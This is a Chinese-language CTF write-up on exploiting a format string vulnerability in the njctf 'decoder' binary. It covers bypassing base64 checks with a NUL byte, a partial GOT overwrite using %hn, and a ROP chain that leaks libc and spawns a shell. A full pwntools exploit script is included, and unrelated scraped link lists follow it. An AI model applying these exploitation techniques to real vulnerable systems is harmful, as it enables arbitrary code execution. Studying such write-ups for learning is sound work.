格式化字符串漏洞利用实战之 njctf-decoder
前言
格式化字符串漏洞也是一种比较常见的漏洞利用技术。ctf
中也经常出现。
本文以 njctf
线下赛的一道题为例进行实战。
题目链接:https://gitee.com/hac425/blog_data/blob/master/decoder
正文
程序的流程如下
部分函数已经进行了标注,看程序打印出来的提示信息就知道这个是一个 base64
解码的程序,然后可以通过 猜测 + 验证
的方式,找到那个 用于 base64
解码的函数。
这个程序的漏洞在于将 base64
解码后的字符串直接传入 snprintf
, 作为 format
进行处理, 格式化漏洞。
通过格式化串可以 任意写/任意读 , 不过这里一次格式化之后就会往下一种走到程序末尾。所以这里我采用 修改 printf@got
的值 为 rop gadgets
,然后进行 rop
.
还需要注意前面还有check
,不满足 base64
的格式规范的字符串是触发不了漏洞的。不过我们可以绕过这些 check
。
程序程序获取输入时使用的是 read
函数,然而后面的 base64_check
和 base64_decode
用到的输入的长度都是使用 strlen
获取的。strlen
是通过搜索 \x00
来确定字符串的长度, 而通过 read
我们可以输入 \x00
, 所以我们在正常 base64
后面加上 \x00
然后布置 rop chain
即可。
还有一个小技巧,触发漏洞时 , printf
函数还没有被调用,所以 got
表中保存的值还是没有经过 重绑定
的值。
为了绕过栈里面的 base64
字符串 ,我们需要一个 add esp
的 gadgets
可以使用 ROPgadget
.
找到一个 0x08048b31
, 和 printf@got
的值只有 2
个字节的差距,所以使用 %hn
可以写两个字节,写的数据为 0x8b31
,地址为 0x0804B010
%35633c%7$hn
然后后面调用 printf
时就会进入 rop chain
, 首先通过 rop
调用 puts
打印 read@got
泄露 libc
然后再次触发漏洞,用刚刚 leak
的数据,布置 rop
调用 system('/bin/sh')
最后
对于 strlen
如果我们可以输入 \x00
,则它的返回值我们是可以控制的。
通过部分修改 got
,执行 rop
,要注意后面紧跟着调用的函数。
最后的 exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./decoder")
gdb.attach(p, '''
b *0x08048C29
# b *0x08048C4E
b *0x08048b31
# b *0x8048c5f
c
''')
pause()
printf_got = 0x0804B010
read_got = 0x0804B00C
puts_plt = 0x08048520
main_addr = 0x08048B37
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(puts_plt)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(0x0804B00C) # addr to leak
p.sendline(payload)
p.recvuntil("THIS IS A SIMPLE BASE64 DECODER\n")
read_addr = u32(p.recv(4))
libc_addr = read_addr - 0xd5af0
system_addr = libc_addr + 0x3ada0
sh_addr = libc_addr + 1423787
log.info("system: " + hex(system_addr))
log.info("/bin/sh: " + hex(sh_addr))
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(system_addr)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(sh_addr) # addr to leak
p.sendline(payload)
p.interactive()
格式化字符串漏洞利用实战之 njctf-decoder的更多相关文章
- 格式化字符串漏洞利用实战之 0ctf-easyprintf
前言 这是 0ctf 的一道比较简单的格式化串的题目. 正文 逻辑非常简单 do_read 可以打印内存地址的数据,可用来 泄露 got. leave 格式化字符串漏洞. printf(s) 直接调用 ...
- Linux下的格式化字符串漏洞利用姿势
linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除了栈以外的其他地方还是可以执行的,只要把返回地址执行别的地方就可以. 一.格式化字符串漏洞 格式 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- 通过格式化字符串漏洞绕过canary
1.1 canary内存保护机制 1.1.1 canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...
- 格式化字符串漏洞 format string exploit(一)
本文系原创,转载请说明出处 本文为基于CTF WIKI的PWN学习 0x00 格式化字符串原理 先附一张经典的图,如下 其栈上布局如下: some value 3.14 123456 addr of ...
- sprintf格式化字符串漏洞(转)
深入解析sprintf格式化字符串漏洞 特征: 如何利用: 可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题: 没做字 ...
随机推荐
- POJ 1014
#include<iostream>#include<stdio.h>#define num 6using namespace std; bool DFS(int i,int ...
- (转)Python标准库02 时间与日期 (time, datetime包)
原文:http://www.cnblogs.com/vamei/archive/2012/09/03/2669426.html https://www.liaoxuefeng.com/wiki/001 ...
- Java之IO(九)其它字节流
转载请注明源出处:http://www.cnblogs.com/lighten/p/7063161.html 1.前言 之前的章节已经介绍了java的io包中所有成对(输入.输出对应)的字节流,本章介 ...
- 【链表】Partition List
题目: Given a linked list and a value x, partition it such that all nodes less than x come before node ...
- MYSQL 中的日期操作(不包含跨年问题)
先从一个简单的SQL说起 当前week的第一天:select date_sub(curdate(),INTERVAL WEEKDAY(curdate()) + 1 DAY): DATE_SUB() 函 ...
- 关于class的签名Signature
举例1: public class Test05<A, B extends java.util.List<String>, C extends InputStream&Ser ...
- JavacProcessingEnvironment类解读
JavacProcessingEnvironment类的继承体系如下: 其中含有很多内部类,最重要的是迭代注解处理器相关的类,如下:
- PHP PSR 标准
引用他人文章:http://www.cnblogs.com/52php/p/5852572.html PHP中PSR-[0-4]代码规范 PHP-FIG 在说啥是PSR-[0-4]规范的之前,我觉得我 ...
- Linux-(chgrp,chown,chmod)
/etc/group Linux /etc/group文件与/etc/passwd和/etc/shadow文件都是有关于系统管理员对用户和用户组管理时相关的文件. Linux /etc/group文件 ...
- Linux发行版,分类,CentOS下载
目录 Debian 系(dpkg) 1. 包管理 2. 发行版 Red Hat 系(rpm) 1. 包管理 2. 发行版 其他发行版 Debian 系(dpkg) 1. 包管理 包管理器:dpkg ...